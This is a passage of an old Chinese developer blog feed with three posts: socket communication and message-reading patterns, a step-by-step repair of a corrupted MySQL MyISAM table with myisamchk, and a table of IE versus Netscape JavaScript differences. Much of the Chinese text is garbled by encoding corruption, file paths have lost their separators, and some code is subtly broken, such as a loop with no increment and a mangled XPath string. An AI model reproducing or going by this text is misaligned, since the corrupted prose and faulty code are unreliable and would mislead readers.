/> 接,交易完毕后立x开q接。此U方式常用于一点对多点 <br /> 通讯Q比如多个Clientq接一个Server. </p> <p><br /> (?发送接收方?</p> <p>1.异步 </p> <p>报文发送和接收是分开的,怺独立的,互不影响。这U方 <br /> 式又分两U情况: </p> <p>(1)异步双工Q接收和发送在同一个程序中Q有两个不同?<br /> 子进E分别负责发送和接收 <br /> (2)异步单工Q接收和发送是用两个不同的E序来完成?</p> <p>2.同步 </p> <p>报文发送和接收是同步进行,既报文发送后{待接收q回报文?<br /> 同步方式一般需要考虑时问题Q即报文发上d不能无限{?<br /> 待,需要设定超时时_过该时间发送方不再{待读返回报 <br /> 文,直接通知时q回?nbsp; </p> <p><br /> 实际通信方式是这三类通信方式的组合。比如一般书上提供的 <br /> TCP/IP范例E序大都是同步短q接的SERVER/CLIENTE序。有?<br /> l合是基本不用的Q比较常用的有h(hun)值的l合是以下几U: </p> <p>同步短连接Server/Client <br /> 同步长连接Server/Client <br /> 异步短连接Server/Client <br /> 异步长连接双工Server/Client <br /> 异步长连接单工Server/Client </p> <p>其中异步长连接双工是最为复杂的一U通信方式Q有时候经 <br /> 怼出现在不同银行或不同城市之间的两套系l之间的通信?<br /> 比如金卡工程。由于这几种通信方式比较固定Q所以可以预 <br /> 先编制这几种通信方式的模板程序?</p> <p><br /> ?报文格式 </p> <p>通信报文格式多样性更多,相应地就必须设计对应的读写报文的?<br /> 收和发送报文函数?</p> <p>(一)d与非d方式  </p> <p>1.非阻塞方?</p> <p>dC停地q行d作,如果没有报文接收刎ͼ{待一D|间后 <br /> 时q回Q这U情况一般需要指定超时时间?</p> <p>2.d方式 </p> <p>如果没有报文接收刎ͼ则读函数一直处于等待状态,直到有报文到达?</p> <p> </p> <p>(?循环d方式 <br />   </p> <p>1.一ơ直接读写报?</p> <p>在一ơ接收或发送报文动作中一ơ性不加分别地全部d或全?<br /> 发送报文字节?</p> <p>2.不指定长度@环读?</p> <p>q一般发生在短连接进E中Q受|络路由{限Ӟ一ơ较长的?<br /> 文可能在|络传输q程中被分解成了好几个包。一ơ读取可能不 <br /> 能全部读完一ơ报文,q就需要@环读报文Q直到读完ؓ止?</p> <p>3.带长度报文头循环d </p> <p>q种情况一般是在长q接q程中,׃在长q接中没有条件能?<br /> 判断循环d什么时候结束,所以必要加长度报文头。读函数 <br /> 先是d报文头的长度Q再Ҏ(gu)q个长度去读报文.实际情况中, <br /> 报头的码制格式还l常不一P如果是非ASCII码的报文_q必?<br /> 转换成ASCII,常见的报文头码制有: <br /> (1)n个字节的ASCII?<br /> (2)n个字节的BCD?<br /> (3)n个字节的|络整型?</p> <p> </p> <p>以上是几U比较典型的d报文方式Q可以与通信方式模板一?<br /> 预先提供一些典型的APId函数。当然在实际问题中,可能q?<br /> 必须~写与对Ҏ(gu)文格式配套的dAPI. </p> <p>在实际情况中Q往往需要把我们自己的系l与别h的系l进行连接, <br /> 有了以上模板与API,可以说连接Q何方式的通信E序都不存在问题?</p> <img src ="http://m.tkk7.com/yuze/aggbug/166583.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/yuze/" target="_blank">yuyu</a> 2007-12-10 10:35 <a href="http://m.tkk7.com/yuze/archive/2007/12/10/166583.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title><?gt;修复损坏的MYSQL索引http://m.tkk7.com/yuze/archive/2007/07/17/130761.htmlyuyuyuyuTue, 17 Jul 2007 03:05:00 GMThttp://m.tkk7.com/yuze/archive/2007/07/17/130761.htmlhttp://m.tkk7.com/yuze/comments/130761.htmlhttp://m.tkk7.com/yuze/archive/2007/07/17/130761.html#Feedback0http://m.tkk7.com/yuze/comments/commentRss/130761.htmlhttp://m.tkk7.com/yuze/services/trackbacks/130761.htmlQYQIQ烦引容易因意外重启{原因损坏,下面是{载的一文章,有碰到的不妨先试下文中讲q的Ҏ(gu)?/strong>

     前几天因为mysql数据库部分数据损坏原因,我尝试了下恢复数据,之后整理以下文Q供各位参?/strong>,
以备各位同事以后如有cM问题Q可以少C弯\,快解决问题?br>环境Qwindows2003
数据?mysql
损坏数据文g?function_products
数据库内容物理文g直接导入到mysqldata下,每只表各3个文Ӟ依次分别为:.frm .MYD .MYI
     首先我第一惛_的是ȝ上搜索,LcM?a href="javascript:;" onclick="javascript:tagshow(event, '%b9%a4%be%df');" target="_self">工具Q试N过工具来恢复已损坏的文Ӟ于是我在GOOGLE上查找,
扑ֈ一Ƒ֐为MySQLRecovery的工P安装后我用其q行恢复Q只可惜效果太不理想Q几十M大的数据文gQ恢?br>之后它提C我竟然只有几十KQo我吐血...
    我又惛_了mysql下应有自己本w的修复E序{,于是想通过其来q行恢复Q心惛_不会太差劲吧Q在|上查找?br>资料Q提C:
    ׃临时断电(sh)Q用kill -9中止MySQL服务q程Q或者是mysql正在高速运转时q行强制备䆾操作时等Q?br>所有的q些都可能会毁坏MySQL的数据文件。如果在被干扰时Q服务正在改变文Ӟ文g可能会留下错误的
或不一致的状态。因L毁坏有时是不Ҏ(gu)被发现的Q当你发现这个错误时可能是很久以后的事了?br>于是Q当你发现这个问题时Q也许所有的备䆾都有同样的错误?br>    我想我现在碰到的问题可能是这个问题,因ؓ备䆾的数据也是有部分损坏的数据,所以导致不能完全运行,
 意识到myisamchkE序对用来检查和修改的MySQL数据文g的访问应该是唯一的。如果MySQL服务正在使用
某一文gQƈ对myisamchk正在查的文gq行修改Qmyisamchk会误以ؓ发生了错误,q会试图q行修复--
q将DMySQL服务的崩溃!q样Q要避免q种情况的发生,通常我们需要在工作时关?br>
MySQL服务。作为选择Q?br>你也可以暂时关闭服务以制作一个文件的拯Q然后在q个拯上工作。当你做完了以后Q重新关闭服务ƈ?br>用新的文件取代原来的文g(也许你还需要用期间的变更日志)?br>    MySQL数据目录不是太难理解的。每一个数据库对应一个子目录Q每个子目录中包含了对应于这个数据库中的
数据表的文g。每一个数据表对应三个文gQ它们和表名相同Q但是具有不同的扩展名。tblName.frm文g?br>表的定义Q它保存了表中包含的数据列的内容和类型。tblName.MYD文g包含了表中的数据。tblName.MYI文g
包含了表的烦?例如Q它可能包含lookup表以帮助提高对表的主键列的查??br>   要检查一个表的错误,只需要运行myisamchk(在MySQL的bin目录?q提供文件的位置和表名,或者是表的索引文g名:
% myisamchk /usr/local/mysql/var/dbName/tblName
% myisamchk /usr/local/mysql/var/dbName/tblName.MYI

上面的两个命令都可以执行Ҏ(gu)定表的检查。要查数据库中所有的表,可以使用通配W:
% myisamchk /usr/local/mysql/var/dbName/*.MYI
要检查所有数据库中的所有表Q可以用两个通配W:
% myisamchk /usr/local/mysql/var/*/*.MYI
如果不带M选项Qmyisamchk对表文件执行普通的查。如果你对一个表有怀疑,但是普通的查不能发CQ何错误,你可以执行更d的检?但是也更慢!)Q这需要?-extend-check选项Q?br>% myisamchk --extend-check /path/to/tblName
? 错误的检查是没有破坏性的Q这意味着你不必担心执行对你的数据文g的检查会使已l存在的问题变得更糟。另一斚wQ修复选项Q虽焉常也是安全的,但是它对 你的数据文g的更Ҏ(gu)无法撤消的。因个原因,我们强烈推荐你试图修复一个被破坏的表文g旉先做个备份,q确保在制作q个备䆾之前你的MySQL服务 是关闭的?br> 
    我在win2003下通过命o提示W,输入Q?br>注:此ؓ记录我当时操作的全部q程
D:Documents and SettingsAdministrator>c:
C:>cd mysql
C:mysql>cd data
C:mysqldata>cd hw_enterprice
C:mysqldatahw_enterprice>myisamchk function_products.frm
'myisamchk' 不是内部或外部命令,也不是可q行的程?br>或批处理文g?br>C:mysqldatahw_enterprice>cd
C:>cd mysql
C:mysql>cd bin
注:查看myisamchk的帮助信?br>C:mysqlin>myisamchk
myisamchk  Ver 2.6 for Win95/Win98 at i32
By Monty, for your professional use
This software comes with NO WARRANTY: see the PUBLIC for details.
Description, check and repair of ISAM tables.
Used without options all tables on the command will be checked for errors
Usage: myisamchk [OPTIONS] tables[.MYI]
Global options:
  -#, --debug=...     Output debug log. Often this is 'd:t:o,filename'
  -?, --help          Display this help and exit.
  -O, --set-variable var=option
                      Change the value of a variable. Please note that
                      this option is deprecated; you can set variables
                      directly with '--variable-name=value'.
  -t, --tmpdir=path   Path for temporary files
  -s, --silent        Only print errors.  One can use two -s to make
                      myisamchk very silent
  -v, --verbose       Print more information. This can be used with
                      --description and --check. Use many -v for more verbosity!
  -V, --version       Print version and exit.
  -w, --wait          Wait if table is locked.
Check options (check is the default action for myisamchk):
  -c, --check         Check table for errors
  -e, --extend-check  Check the table VERY throughly.  Only use this in
                      extreme cases as myisamchk should normally be able to
                      find out if the table is ok even without this switch
  -F, --fast          Check only tables that haven't been closed properly

-C, --check-only-changed
                      Check only tables that have changed since last check
  -f, --force         Restart with '-r' if there are any errors in the table.
                      States will be updated as with '--update-state'
  -i, --information   Print statistics information about table that is checked
  -m, --medium-check  Faster than extend-check, but only finds 99.99% of
                      all errors.  Should be good enough for most cases
  -U  --update-state  Mark tables as crashed if you find any errors
  -T, --read-only     Don't mark table as checked
Repair options (When using '-r' or '-o')
  -B, --backup        Make a backup of the .MYD file as 'filename-time.BAK'
  --correct-checksum  Correct checksum information for table.
  -D, --data-file-length=#  Max length of data file (when recreating data
                      file when it's full)
  -e, --extend-check  Try to recover every possible row from the data file
                      Normally this will also find a lot of garbage rows;
                      Don't use this option if you are not totally desperate.
  -f, --force         Overwrite old temporary files.
  -k, --keys-used=#   Tell MyISAM to update only some specific keys. # is a
                      bit mask of which keys to use. This can be used to
                      get faster inserts!
  -r, --recover       Can fix almost anything except unique keys that aren't
                      unique.
  -n, --sort-recover  Forces recovering with sorting even if the temporary
                      file would be very big.
  -p, --parallel-recover
                      Uses the same technique as '-r' and '-n', but creates
                      all the keys in parallel, in different threads.
                      THIS IS ALPHA CODE. USE AT YOUR OWN RISK!
  -o, --safe-recover  Uses old recovery method; Slower than '-r' but can
                      handle a couple of cases where '-r' reports that it
                      can't fix the data file.
  --character-sets-dir=...
                      Directory where character sets are
  --set-character-set=name
                      Change the character set used by the index
  -q, --quick         Faster repair by not modifying the data file.
                      One can give a second '-q' to force myisamchk to
                      modify the original datafile in case of duplicate keys
  -u, --unpack        Unpack file packed with myisampack.
Other actions:
  -a, --analyze       Analyze distribution of keys. Will make some joins in

                      MySQL faster.  You can check the calculated distribution
                      by using '--description --verbose table_name'.
  -d, --description   Prints some information about table.
  -A, --set-auto-increment[=value]
                      Force auto_increment to start at this or higher value
                      If no value is given, then sets the next auto_increment
                      value to the highest used value for the auto key + 1.
  -S, --sort-index    Sort index blocks.  This speeds up 'read-next' in
                      applications
  -R, --sort-records=#
                      Sort records according to an index.  This makes your
                      data much more localized and may speed up things
C:mysqlin>myisamchk c:mysqldatahw_enterpricefunction_products.frm
myisamchk: error: 'c:mysqldatahw_enterpricefunction_products.frm' is not a M
yISAM-table
C:mysqlin>myisamchk c:mysqldatahw_enterpricefunction_products.myi
Checking MyISAM file: c:mysqldatahw_enterpricefunction_products.myi
Data records:   85207   Deleted blocks:      39
myisamchk: warning: Table is marked as crashed
myisamchk: warning: 1 clients is using or hasn't closed the table properly
- check file-size
- check key delete-chain
- check record delete-chain
myisamchk: error: record delete-link-chain corrupted
- check index reference
- check data record references index: 1
- check data record references index: 2
- check data record references index: 3
- check record links
myisamchk: error: Wrong bytesec: 0-195-171 at linkstart: 841908
MyISAM-table 'c:mysqldatahw_enterpricefunction_products.myi' is corrupted
Fix it using switch "-r" or "-o"
l箋q行操作Q?br>C:mysqlin>myisamchk --recover --quick  c:mysqldatahw_enterpricefunction_p
roducts.myi
- check key delete-chain
- check record delete-chain
myisamchk: error: record delete-link-chain corrupted
myisamchk: error: Quick-recover aborted; Run recovery without switch 'q'
Updating MyISAM file: c:mysqldatahw_enterpricefunction_products.myi
MyISAM-table 'c:mysqldatahw_enterpricefunction_products.myi' is not fixed be
cause of errors

Try fixing it by using the --safe-recover (-o) or the --force (-f) option
pȝ提示我?-safe-recover (-o) or the --force (-f) optionq行修复操作Q于?br>C:mysqlin>myisamchk --safe-recover  c:mysqldatahw_enterpricefunction_prod
ucts.myi
- recovering (with keycache) MyISAM-table 'c:mysqldatahw_enterpricefunction_
products.myi'
Data records: 85207
Wrong bytesec:   0-195-171 at     841908; Skipped
Data records: 85215
  修复后的物理文件复制到mysqldata下之后,通过phpMyAdminq行讉KQOK正常Q?br>  本次数据修复操作成功Q数据已被正常恢复,总计85215条记录,其中恢复数据p85207条?br>   ȝ本次l验及查找资料,如下Q?br> 
当你试图修复一个被破坏的表的问题时Q有三种修复cd。如果你得到一个错误信息指Z个时文件不能徏立,删除信息所指出的文件ƈ再试一?-q通常是上一ơ修复操作遗留下来的?br>q三U修复方法如下所C:
% myisamchk --recover --quick /path/to/tblName
% myisamchk --recover /path/to/tblName
% myisamchk --safe-recover /path/to/tblName
 
W一U是最快的Q用来修复最普通的问题Q而最后一U是最慢的Q用来修复一些其它方法所不能修复的问题?br>查和修复MySQL数据文g
如果上面的方法无法修复一个被损坏的表Q在你放弃之前,你还可以试试下面q两个技巧:
? 果你怀疑表的烦引文?*.MYI)发生了不可修复的错误Q甚x丢失了这个文Ӟ你可以用数据文?*.MYD)和数据格式文?*.frm)重新? 成它。首先制作一个数据文?tblName.MYD)的拷贝。重启你的MySQL服务q连接到q个服务上,使用下面的命令删除表的内容:
mysql> DELETE FROM tblName;
? 删除表的内容的同Ӟ会徏立一个新的烦引文件。退出登录ƈ重新关闭服务Q然后用你刚才保存的数据文g(tblName.MYD)覆盖新的(I?数据文g? 最后,使用myisamchk执行标准的修?上面的第二种Ҏ(gu))Q根据表的数据的内容和表的格式文仉新生成烦引数据?br>如果你的表的格式文g (tblName.frm)丢失了或者是发生了不可修复的错误Q但是你清楚如何使用相应的CREATE TABLE语句来重新生成这张表Q你可以重新生成一个新?frm文gq和你的数据文g和烦引文?如果索引文g有问题,使用上面的方法重Z个新?一 起用。首先制作一个数据和索引文g的拷贝,然后删除原来的文?删除数据目录下有兌个表的所有记??br>启动MySQL服务q用当初的CREATE TABLE文g建立一个新的表。新?frm文g应该可以正常工作了,但是最好你q是执行一下标准的修复(上面的第二种Ҏ(gu))?br>如果有类似问题,自己先分析问题根源,查找资料Q自己动手解冻I不但可以多学更多知识技巧,更重要的是,自己也在解决问题的同时得C快乐.



yuyu 2007-07-17 11:05 发表评论
]]>
<?gt;IE VS NETSCAPE 不同点列?/title><link>http://m.tkk7.com/yuze/archive/2007/06/19/125079.html</link><dc:creator>yuyu</dc:creator><author>yuyu</author><pubDate>Tue, 19 Jun 2007 03:41:00 GMT</pubDate><guid>http://m.tkk7.com/yuze/archive/2007/06/19/125079.html</guid><wfw:comment>http://m.tkk7.com/yuze/comments/125079.html</wfw:comment><comments>http://m.tkk7.com/yuze/archive/2007/06/19/125079.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://m.tkk7.com/yuze/comments/commentRss/125079.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/yuze/services/trackbacks/125079.html</trackback:ping><description><![CDATA[<div>最q在公司的理界面做成IE FF下通用的,刚刚做完Q便在网上发现有位朋友已l将不同点列出来了。如果当初查阅了会节省很多时_感激之余Q{q来Q慢慢欣赏? <div><?gt;<a >IE VS NETSCAPE</a> </div> <div> <table cellSpacing=0 cellPadding=0 border=1> <tbody> <tr> <td vAlign=top width=31> <p> </p> </td> <td vAlign=top width=156> <p> </p> </td> <td vAlign=top width=276> <p><span>IE & Netscape</span></p> </td> <td vAlign=top width=168> <p><span>IE only</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>1</span></p> </td> <td vAlign=top width=156> <p><span>居中</span></p> </td> <td vAlign=top width=276> <p><span><center> OBJECT </center></span></p> </td> <td vAlign=top width=168> <p><code><span><p align=center> OBJECT </p></span></code></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>2</span></p> </td> <td vAlign=top width=156> <p><span>form element 使用</span></p> </td> <td vAlign=top width=276> <p><span>所?span><input>{要引用的元素,都放在一?lt;form></form>?/span></span></p> </td> <td vAlign=top width=168> <p><span>可以通过<span>id直接讉KQ不通过form</span></span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>3</span></p> </td> <td vAlign=top width=156> <p><span>元素的引用方?span>1</span></span></p> </td> <td vAlign=top width=276> <p><span>document.form_name.element_name</span></p> <p><span>document.form_name.element_name[i]</span></p> <p><span>document.form_name.elements[element_name]</span></p> </td> <td vAlign=top width=168> <p><span>form_name.element_name</span></p> <p><span>form_name.all(element_name)</span></p> <p><span>form_name.elements(element_name)</span></p> <p><span>element_id</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>4</span></p> </td> <td vAlign=top width=156> <p><span>全选文本框</span></p> </td> <td vAlign=top width=276> <p><span>document.form_name.textbox_name.focus()</span></p> <p><span>document.form_name.textbox_name.select()</span></p> <p><span>注意Q?/span><span>netscape6.1以上版本Q可以不先focus</span></p> </td> <td vAlign=top width=168> <p><span>document.form_name.textbox_name.select()</span></p> <p><span>(netscape中必dfocus)</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>5</span></p> </td> <td vAlign=top width=156> <p><span>Table</span></p> </td> <td vAlign=top width=276> <p><span><table><tr><td><th>都有完整的结束标?lt;/table></tr></td></th></span></p> </td> <td vAlign=top width=168> <p><span>~少一些没有关p?/span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>6</span></p> </td> <td vAlign=top width=156> <p><span>Ҏ(gu)名字索引</span></p> </td> <td vAlign=top width=276> <p><span>?span>document.all,<span>q是造成大部分javascript函数不能使用的原?</span></span></span></p> <p> </p> <p><span>document.getElementById(id) 可用Q但是只是支持id,不支持按name索引</span></p> <p> </p> <p><span>(如果要同时用element_name or id 索引Q可以考虑使用util.asp加入的新函数:</span></p> <p><span>document_all(element_name_or_id) 见用示?)</span></p> <p><span>注意Q?span>netscape4.8不支持document. GetElementById和document.all</span></span></p> </td> <td vAlign=top width=168> <p><span>document.all(element_name_or_id)</span></p> <p> </p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>7</span></p> </td> <td vAlign=top width=156> <p><span>关于<span>CSS</span></span></p> </td> <td vAlign=top width=276> <p><span>class=class_name </span></p> <p><span>(<span>class_name区分大小? 而且不支持BORDER-COLLAPSE: collapseQ这是造成界面隄的主要原?/span>)</span></p> <p><span>.css中的W一个类不v作用</span></p> </td> <td vAlign=top width=168> <p><span>class=class_nameQclass_name不区分大写Q?/span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>8</span></p> </td> <td vAlign=top width=156> <p> </p> </td> <td vAlign=top width=276> <p><span>低版?/span><span>javascript</span><span>?/span><span>switch</span><span>的能力很?/span><span>Q?/span><span>不支持变?/span><span>case</span></p> <p><span>注意Q我过<span>nerscapte6.1以上版本Q支持case</span></span></p> </td> <td vAlign=top width=168> <p> </p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>9</span></p> </td> <td vAlign=top width=156> <p><span>元素引用<span>2</span></span></p> </td> <td vAlign=top width=276> <p><span>引用元素?span>idӞ区分大小?/span></span></p> </td> <td vAlign=top width=168> <p><span>引用元素?span>idӞ不区分大写</span></span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>10</span></p> </td> <td vAlign=top width=156> <p><span>Cursor昄手Ş</span></p> </td> <td vAlign=top width=276> <p><span>Cursor: pointer</span></p> <p><span>(ie6支持pointer; ie5以下不支持pointer)</span></p> </td> <td vAlign=top width=168> <p><span>Cursor: hand</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>11</span></p> </td> <td vAlign=top width=156> <p><span>innerText</span></p> </td> <td vAlign=top width=276> <p><span>?span>innerHTML代替innerText</span></span></p> <p><span>netscape6.0+不支持innerText</span></p> </td> <td vAlign=top width=168> <p> </p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>12</span></p> </td> <td vAlign=top width=156> <p><span><Caption align=left></caption>(table的属?</span></p> </td> <td vAlign=top width=276> <p><span>对于<span>netscape,Caption出现在table的左?如附?</span></span></p> </td> <td vAlign=top width=168> <p><span>对于<span>ie,Caption出现在table的上方左侧,</span></span></p> <p><span>如附?span>2</span></span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>13</span></p> </td> <td vAlign=top width=156> <p><span><col></span></p> </td> <td vAlign=top width=276> <p><span>对于<span>netscape,<col>的显C属性不会媄响到所对应的其他列</span></span></p> </td> <td vAlign=top width=168> <p><span>对于<span>ie,<col>的显C属性会影响到所对应的其他列</span></span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>14</span></p> </td> <td vAlign=top width=156> <p><span>元素引用<span>3</span></span></p> </td> <td vAlign=top width=276> <p><span>元素不是?/span><span>form</span><span>内时Q引用元素?/span><span>document.getElementById("tblRole").</span></p> </td> <td vAlign=top width=168> <p><span>Window.tblRole</span><span>?/span><span>ie</span><span>可以</span><span>.</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>15</span></p> </td> <td vAlign=top width=156> <p><span>自定义属性的使用</span><span>.</span></p> </td> <td vAlign=top width=276> <p><span>有些界面上用如</span><span><tr prj_code=’’></span><span>q样的自定义属性方式来保存|</span><span>netscape</span><span>不支?/span><span>tr.prj_code</span><span>取?/span><span>.</span><span>需?/span><span>objElm.attributes.getNamedItem(strAtrName).value.</span></p> <p><span>注意Q?/span><span>util.asp</span><span>里已l写?/span><span>function GetElementAttribute(objElm,strAtrName),</span><span>可以直接调用</span><span>.</span></p> </td> <td vAlign=top width=168> <p><span>Tr.prj_code</span><span>可以取到?/span><span>.</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>16</span></p> </td> <td vAlign=top width=156> <p><span>事g</span><span>event</span><span>及取事g源元?/span></p> </td> <td vAlign=top width=276> <p><span>Netscape</span><span>?/span><span>”</span><span>事g</span><span>.target”</span><span>而不支持</span><span>event. SrcElement</span><span>取事件源元素</span><span>.</span></p> <p><span>Netscape</span><span>也不能用</span><span>event</span><span>直接得到事gQ可以考虑?#8220;触发事g时将</span><span>event</span><span>传到</span><span>javascript</span><span>的方式得C?#8221;</span><span>.</span></p> <p><span>注意Q?/span><span>util.asp</span><span>里已l写?/span><span>event_SrcElement(ObjEvent)</span><span>来获得事件源元素</span><span>.</span></p> <p><span>触发事g的方法如Q?/span></p> <p><span><input type=button onclick=”invokeClick(event);”></span></p> </td> <td vAlign=top width=168> <p><span>Event. SrcElement</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>17</span></p> </td> <td vAlign=top width=156> <p><span>Form</span></p> </td> <td vAlign=top width=276> <p><span>NetScape</span><span>中必M?/span><span>document.FormName,</span></p> </td> <td vAlign=top width=168> <p><span>IE</span><span>中可以?/span><span>document.FormName</span><span>?/span></p> <p><span>Window.FormName</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>18</span></p> </td> <td vAlign=top width=156> <p><span>对表格的操作</span></p> </td> <td vAlign=top width=276> <p><span>TableId.rows[i].cells[i].childNodes[i]</span></p> <p><span>Netscpate</span><span>里不能?/span><span> ( )</span></p> </td> <td vAlign=top width=168> <p><span>TableId.rows[i].cells[i].childNodes[i]</span></p> <p><span>TableId.rows(i).cells(i).childNodes(i)</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>19</span></p> </td> <td vAlign=top width=156> <p><span>TableId.rows[i].cells[i].childNodes[i].length</span><span>不同的问?/span></p> <p> </p> </td> <td vAlign=top width=444 colSpan=2> <p><span>子节点类型有</span><span>2</span><span>U?/span><span>,</span><span>一U是</span><span>element node;(nodeType=1),</span><span>另一U是</span><span>text node(nodeType = 3),</span><span>可以遍历所有子节点</span><span>,</span><span>把所有的</span><span>text node</span><span>删掉</span><span>,</span><span>也可以修?/span><span>html</span><span>代码</span><span>,</span><span>把多余的I格删掉</span></p> <p><span>Ҏ(gu)一</span><span>:</span></p> <p><span>var tbl1 = document.getElementById(“table1”);</span></p> <p><span>for (I=0;I<tbl1.childNodes.length)</span></p> <p><span>{</span></p> <p><span><span>   </span>var temp = tbl1.childNodes[i];</span></p> <p><span>if (temp.nodeType == 3)</span></p> <p><span>{</span></p> <p><span> tbl1.removeChild(temp);</span></p> <p><span>}</span></p> <p><span>}</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>20</span></p> </td> <td vAlign=top width=156> <p><span>parentElement</span></p> </td> <td vAlign=top width=276> <p><span>ParentNode</span></p> <p><span>Netscape</span><span>中不能?/span><span>parentElement</span></p> </td> <td vAlign=top width=168> <p><span>ParentElement</span></p> <p><span>parentNode</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>21</span></p> </td> <td vAlign=top width=156> <p><span>SrcElement</span></p> </td> <td vAlign=top width=276> <p><span>IE</span><span>?/span><span>srcElement,netscape</span><span>?/span><span>target,</span></p> <p><span>ie</span><span>不能?/span><span>target</span></p> </td> <td vAlign=top width=168> <p> </p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>22</span></p> </td> <td vAlign=top width=156> <p><span>Children,childNodes</span></p> </td> <td vAlign=top width=276> <p><span>ChildNodes</span></p> </td> <td vAlign=top width=168> <p><span>Children,childNodes</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>23</span></p> </td> <td vAlign=top width=156> <p><span>Radiobutton</span><span>?/span><span>netscape</span><span>中出现可以多选的问题</span></p> </td> <td vAlign=top width=276> <p><span>必须?/span><span>radiobutton</span><span>攑օ</span><span><form></form></span><span>?/span></p> </td> <td vAlign=top width=168> <p> </p> </td> </tr> <tr> <td vAlign=top width=31 rowSpan=3> <p><span>24</span></p> </td> <td vAlign=top width=156 rowSpan=3> <p><span>Msxml.dll</span></p> </td> <td vAlign=top width=276> <p><span>NETSCAPE:</span></p> <p><span>Var</span><span>xmlDoc= document.implementation.createDocument("","",<span>null</span>);</span></p> <p> </p> <p><span>var</span><span> xmlServerHttp = <span>new</span> XMLHttpRequest();</span></p> <p> </p> <p> </p> <p> </p> </td> <td vAlign=top width=168> <p><span>IE:</span></p> <p><span>var</span><span> xmlDoc = <span>new</span> ActiveXObject("Msxml2.DOMDocument");</span></p> <p> </p> <p><span>var</span><span> xmlServerHttp = <span>new</span> ActiveXObject("Msxml2.XMLHTTP");</span></p> </td> </tr> <tr> <td vAlign=top width=444 colSpan=2> <p><span>Ie 支持:xmlDoc.load(filename) ?xmlDoc.loadXML(string)</span></p> <p><span>NS只支持xmlDoc.load(filename)Ҏ(gu)</span></p> <p> </p> <p align=left><span>if</span><span> (navigator.appName =="Microsoft Internet Explorer") <span>//IE</span></span></p> <p align=left><span><span>    </span>{<span>   </span></span></p> <p align=left><span><span>        </span><span>var</span> xmlDoc = <span>new</span> ActiveXObject("Msxml2.DOMDocument");</span></p> <p align=left><span><span>    </span><span>    </span><span>var</span> xmlServerHttp = <span>new</span> ActiveXObject("Msxml2.XMLHTTP");<span>    </span><span>   </span></span></p> <p align=left><span><span>        </span>xmlDoc.async = <span>false</span>;</span></p> <p align=left><span><span>        </span>xmlDoc.loadXML(xmlStr);</span></p> <p align=left><span><span>        </span>xmlServerHttp.open("POST",toUrl, <span>false</span>);</span></p> <p align=left><span><span>        </span>xmlServerHttp.send(xmlStr);</span></p> <p align=left><span><span>        </span>re = xmlServerHttp.responseText;</span></p> <p align=left><span><span>    </span>}</span></p> <p align=left><span><span>    </span><span>else</span></span></p> <p align=left><span><span>    </span>{</span></p> <p align=left><span><span>        </span><span>var</span> xmlDoc = document.implementation.createDocument("","",<span>null</span>);</span></p> <p align=left><span><span>        </span><span>var</span> xmlServerHttp = <span>new</span> XMLHttpRequest();</span></p> <p align=left><span><span>        </span><span>var</span> DOM = <span>new</span> DOMParser();</span></p> <p align=left><span><span>        </span>xmlDoc.async = <span>false</span>;</span></p> <p align=left><span><span>    </span><span>    </span><span>var</span> DOMdoc = DOM.parseFromString(xmlStr,"text/xml"); </span></p> <p align=left><span><span>    </span><span>    </span>xmlDoc.load(DOMdoc);</span></p> <p align=left><span><span>    </span><span>    </span>xmlServerHttp.open("POST",toUrl, <span>false</span>);</span></p> <p align=left><span><span>        </span>xmlServerHttp.send(DOMdoc);</span></p> <p align=left><span><span>        </span>re = xmlServerHttp.responseText;</span></p> <p><span><span>    </span>}<span>   <br></span><span></p> <p><font size=3><font face="Times New Roman"><font color=#000000><span>SponOrgXMLforUpdate1 = “<sponsor_org name=’zwh’ age=’22’ />”</span></font></font></font></p> <p><span><font face="Times New Roman" color=#000000 size=3>if (navigator.appName =="Microsoft Internet Explorer") //IE </font></span></p> <p><span><font face="Times New Roman" color=#000000 size=3>{ </font></span></p> <p><span><font face="Times New Roman" color=#000000 size=3>var xmlDoc = new ActiveXObject("Msxml2.DOMDocument"); xmlDoc.async=false; xmlDoc.loadXML(SponOrgXMLforUpdate1); </font></span></p> <p><span><font size=3><font face="Times New Roman"><font color=#000000> node = xmlDoc.selectSingleNode("http://sponsor_org"); </font></font></font></span></p> <p><span><font face="Times New Roman" color=#000000 size=3>} else </font></span></p> <p><span><font face="Times New Roman" color=#000000 size=3>{ </font></span></p> <p><span><font face="Times New Roman" color=#000000 size=3>var DOM = new DOMParser(); </font></span></p> <p><span><font color=#000000>var xmlDoc = DOM.parseFromString(SponOrgXMLforUpdate1, 'text/xml'); var node = xmlDoc.getElementsByTagName('sponsor_org')[0]; }</font></span></span></span></p> </td> </tr> <tr> <td vAlign=top width=444 colSpan=2> <p> </p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>25</span></p> </td> <td vAlign=top width=156> <p><span><tr id=”tr1” a=”a1” b=”b1”></span></p> </td> <td vAlign=top width=276> <p><span>取?/span><span>:</span></p> <p><span>tr1.attributes.getNamedItem("a ").value</span></p> <p><span>tr1.attributes.getNamedItem("b ").value</span></p> <p><span>赋值或者设|属?/span></p> 